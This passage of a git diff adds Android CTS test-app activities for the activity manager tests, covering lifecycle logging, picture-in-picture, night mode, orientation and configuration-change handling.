+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        ActivityLauncher.launchActivityFromExtras(this, intent.getExtras());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
new file mode 100644
index 0000000..e9cc897
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.view.View;
+
+public class LifecycleLogView extends View {
+    private final String TAG = "LifecycleLogView";
+
+    public LifecycleLogView(Context context) {
+        super(context);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs) {
+        this(context, attrs, 0);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr) {
+        this(context, attrs, defStyleAttr, 0);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes)
+    {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    protected void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(TAG, "onConfigurationChanged");
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
new file mode 100644
index 0000000..5ed370e
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.util.Log;
+
+/**
+ * Activity that logs configuration changes.
+ */
+public class LogConfigurationActivity extends Activity {
+
+    private static final String TAG = "LogConfigurationActivity";
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(TAG, "Configuration changed: " + newConfig.screenWidthDp + ","
+                + newConfig.screenHeightDp);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
new file mode 100644
index 0000000..6c37115
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that finishes itself using "moveTaskToBack".
+ */
+public class MoveTaskToBackActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = MoveTaskToBackActivity.class.getSimpleName();
+
+    private String mFinishPoint;
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        final Intent intent = getIntent();
+        mFinishPoint = intent.getExtras().getString("finish_point");
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        if (mFinishPoint.equals("on_pause")) {
+            moveTaskToBack(true /* nonRoot */);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (mFinishPoint.equals("on_stop")) {
+            moveTaskToBack(true /* nonRoot */);
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
new file mode 100644
index 0000000..7c73900
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.os.Bundle;
+
+/** Activity that changes UI mode on creation and handles corresponding configuration change. */
+public class NightModeActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = NightModeActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        UiModeManager uiManager = (UiModeManager) getSystemService(Context.UI_MODE_SERVICE);
+        // Switch the mode two times to make sure it is independent of the current setting.
+        uiManager.setNightMode(UiModeManager.MODE_NIGHT_YES);
+        uiManager.setNightMode(UiModeManager.MODE_NIGHT_NO);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
new file mode 100644
index 0000000..3080fac
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * An activity that has the noHistory flag set.
+ */
+public class NoHistoryActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = NoHistoryActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
new file mode 100644
index 0000000..b173f8d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = NoRelaunchActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
new file mode 100644
index 0000000..e3468e3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+public class NonResizeableActivity extends AbstractLifecycleLogActivity {
+
+     private static final String TAG = NonResizeableActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
new file mode 100644
index 0000000..f5397e6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PictureInPictureParams;
+import android.content.res.Configuration;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Rational;
+import android.view.WindowManager;
+
+public class PipActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = "PipActivity";
+
+    // Intent action that this activity dynamically registers to enter picture-in-picture
+    private static final String ACTION_ENTER_PIP = "android.server.am.PipActivity.enter_pip";
+    // Intent action that this activity dynamically registers to move itself to the back
+    private static final String ACTION_MOVE_TO_BACK = "android.server.am.PipActivity.move_to_back";
+    // Intent action that this activity dynamically registers to expand itself.
+    // If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
+    // after a short delay.
+    private static final String ACTION_EXPAND_PIP = "android.server.am.PipActivity.expand_pip";
+    // Intent action that this activity dynamically registers to set requested orientation.
+    // Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
+    private static final String ACTION_SET_REQUESTED_ORIENTATION =
+            "android.server.am.PipActivity.set_requested_orientation";
+    // Intent action that will finish this activity
+    private static final String ACTION_FINISH = "android.server.am.PipActivity.finish";
+
+    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+    // Calls enterPictureInPicture() on creation
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+            "enter_pip_aspect_ratio_numerator";
+    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+            "enter_pip_aspect_ratio_denominator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+    // fixed delay
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+            "set_aspect_ratio_with_delay_numerator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+    // fixed delay
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+            "set_aspect_ratio_with_delay_denominator";
+    // Adds a click listener to finish this activity when it is clicked
+    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+    // Calls requestAutoEnterPictureInPicture() with the value provided
+    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+    // Starts the activity (component name) provided by the value at the end of onCreate
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+    // Calls enterPictureInPicture() again after onPictureInPictureModeChanged(false) is called
+    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+    // Shows this activity over the keyguard
+    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+    // Adds an assertion that we do not ever get onStop() before we enter picture in picture
+    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+    // The amount to delay to artificially introduce in onPause() (before EXTRA_ENTER_PIP_ON_PAUSE
+    // is processed)
+    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+    private boolean mEnteredPictureInPicture;
+
+    private Handler mHandler = new Handler();
+    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent != null) {
+                switch (intent.getAction()) {
+                    case ACTION_ENTER_PIP:
+                        enterPictureInPictureMode();
+                        break;
+                    case ACTION_MOVE_TO_BACK:
+                        moveTaskToBack(false /* nonRoot */);
+                        break;
+                    case ACTION_EXPAND_PIP:
+                        // Trigger the activity to expand
+                        Intent startIntent = new Intent(PipActivity.this, PipActivity.class);
+                        startIntent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+                        startActivity(startIntent);
+
+                        if (intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR)
+                                && intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR)) {
+                            // Ugly, but required to wait for the startActivity to actually start
+                            // the activity...
+                            mHandler.postDelayed(() -> {
+                                final PictureInPictureParams.Builder builder =
+                                        new PictureInPictureParams.Builder();
+                                builder.setAspectRatio(getAspectRatio(intent,
+                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR,
+                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR));
+                                setPictureInPictureParams(builder.build());
+                            }, 100);
+                        }
+                        break;
+                    case ACTION_SET_REQUESTED_ORIENTATION:
+                        setRequestedOrientation(Integer.parseInt(intent.getStringExtra(
+                                EXTRA_FIXED_ORIENTATION)));
+                        break;
+                    case ACTION_FINISH:
+                        finish();
+                        break;
+                }
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Set the fixed orientation if requested
+        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+            setRequestedOrientation(ori);
+        }
+
+        // Set the window flag to show over the keyguard
+        if (getIntent().hasExtra(EXTRA_SHOW_OVER_KEYGUARD)) {
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        }
+
+        // Enter picture in picture with the given aspect ratio if provided
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            if (getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR)
+                    && getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR)) {
+                try {
+                    final PictureInPictureParams.Builder builder =
+                            new PictureInPictureParams.Builder();
+                    builder.setAspectRatio(getAspectRatio(getIntent(),
+                            EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                            EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR));
+                    enterPictureInPictureMode(builder.build());
+                } catch (Exception e) {
+                    // This call can fail intentionally if the aspect ratio is too extreme
+                }
+            } else {
+                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+            }
+        }
+
+        // We need to wait for either enterPictureInPicture() or requestAutoEnterPictureInPicture()
+        // to be called before setting the aspect ratio
+        if (getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_NUMERATOR)
+                && getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_DENOMINATOR)) {
+            final PictureInPictureParams.Builder builder =
+                    new PictureInPictureParams.Builder();
+            builder.setAspectRatio(getAspectRatio(getIntent(),
+                    EXTRA_SET_ASPECT_RATIO_NUMERATOR, EXTRA_SET_ASPECT_RATIO_DENOMINATOR));
+            try {
+                setPictureInPictureParams(builder.build());
+            } catch (Exception e) {
+                // This call can fail intentionally if the aspect ratio is too extreme
+            }
+        }
+
+        // Enable tap to finish if necessary
+        if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
+            setContentView(R.layout.tap_to_finish_pip_layout);
+            findViewById(R.id.content).setOnClickListener(v -> {
+                finish();
+            });
+        }
+
+        // Launch a new activity if requested
+        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+        if (launchActivityComponent != null) {
+            Intent launchIntent = new Intent();
+            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+            startActivity(launchIntent);
+        }
+
+        // Register the broadcast receiver
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_ENTER_PIP);
+        filter.addAction(ACTION_MOVE_TO_BACK);
+        filter.addAction(ACTION_EXPAND_PIP);
+        filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
+        filter.addAction(ACTION_FINISH);
+        registerReceiver(mReceiver, filter);
+
+        // Dump applied display metrics.
+        Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+        dumpConfiguration(config);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        // Finish self if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+            finish();
+        }
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        // Pause if requested
+        if (getIntent().hasExtra(EXTRA_ON_PAUSE_DELAY)) {
+            SystemClock.sleep(Long.valueOf(getIntent().getStringExtra(EXTRA_ON_PAUSE_DELAY)));
+        }
+
+        // Enter PIP on move to background
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PAUSE)) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (getIntent().hasExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP) && !mEnteredPictureInPicture) {
+            Log.w(TAG, "Unexpected onStop() called before entering picture-in-picture");
+            finish();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        unregisterReceiver(mReceiver);
+    }
+
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+
+        // Fail early if the activity state does not match the dispatched state
+        if (isInPictureInPictureMode() != isInPictureInPictureMode) {
+            Log.w(TAG, "Received onPictureInPictureModeChanged mode=" + isInPictureInPictureMode
+                    + " activityState=" + isInPictureInPictureMode());
+            finish();
+        }
+
+        // Mark that we've entered picture-in-picture so that we can stop checking for
+        // EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP
+        if (isInPictureInPictureMode) {
+            mEnteredPictureInPicture = true;
+        }
+
+        if (!isInPictureInPictureMode && getIntent().hasExtra(EXTRA_REENTER_PIP_ON_EXIT)) {
+            // This call to re-enter PIP can happen too quickly (host side tests can have difficulty
+            // checking that the stacks ever changed). Therefor, we need to delay here slightly to
+            // allow the tests to verify that the stacks have changed before re-entering.
+            mHandler.postDelayed(() -> {
+                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+            }, 1000);
+        }
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+        dumpConfiguration(newConfig);
+    }
+
+    /**
+     * Launches a new instance of the PipActivity directly into the pinned stack.
+     */
+    static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
+        final Intent intent = new Intent(caller, PipActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(bounds);
+        options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
+        caller.startActivity(intent, options.toBundle());
+    }
+
+    /**
+     * Launches a new instance of the PipActivity in the same task that will automatically enter
+     * PiP.
+     */
+    static void launchEnterPipActivity(Activity caller) {
+        final Intent intent = new Intent(caller, PipActivity.class);
+        intent.putExtra(EXTRA_ENTER_PIP, "true");
+        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+        caller.startActivity(intent);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    /**
+     * @return a {@link Rational} aspect ratio from the given intent and extras.
+     */
+    private Rational getAspectRatio(Intent intent, String extraNum, String extraDenom) {
+        return new Rational(
+                Integer.valueOf(intent.getStringExtra(extraNum)),
+                Integer.valueOf(intent.getStringExtra(extraDenom)));
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
new file mode 100644
index 0000000..c7c9858
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * A secondary activity that has the same behavior as {@link PipActivity}.
+ */
+public class PipActivity2 extends PipActivity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
new file mode 100644
index 0000000..12ff39f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+
+/**
+ * An activity that can enter PiP with a fixed affinity to match
+ * {@link TestActivityWithSameAffinity}.
+ */
+public class PipActivityWithSameAffinity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
new file mode 100644
index 0000000..264e14c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * This activity will try and enter picture in picture when it is stopped.
+ */
+public class PipOnStopActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.tap_to_finish_pip_layout);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        startActivity(new Intent(this, PipActivity.class));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        try {
+            enterPictureInPictureMode();
+        } catch (RuntimeException e) {
+            // Known failure, we expect this call to throw an exception
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
new file mode 100644
index 0000000..a63e3b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class PortraitOrientationActivity extends AbstractLifecycleLogActivity {
+
+    @Override
+    protected String getTag() {
+        return "PortraitOrientationActivity";
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
new file mode 100644
index 0000000..31aa9f2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+import android.os.Bundle;
+
+public class ResizeableActivity extends AbstractLifecycleLogActivity {
+    @Override
+    protected String getTag() {
+        return "ResizeableActivity";
+    }
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.resizeable_activity);
+        dumpDisplaySize(getResources().getConfiguration());
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
new file mode 100644
index 0000000..62fbb8b
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
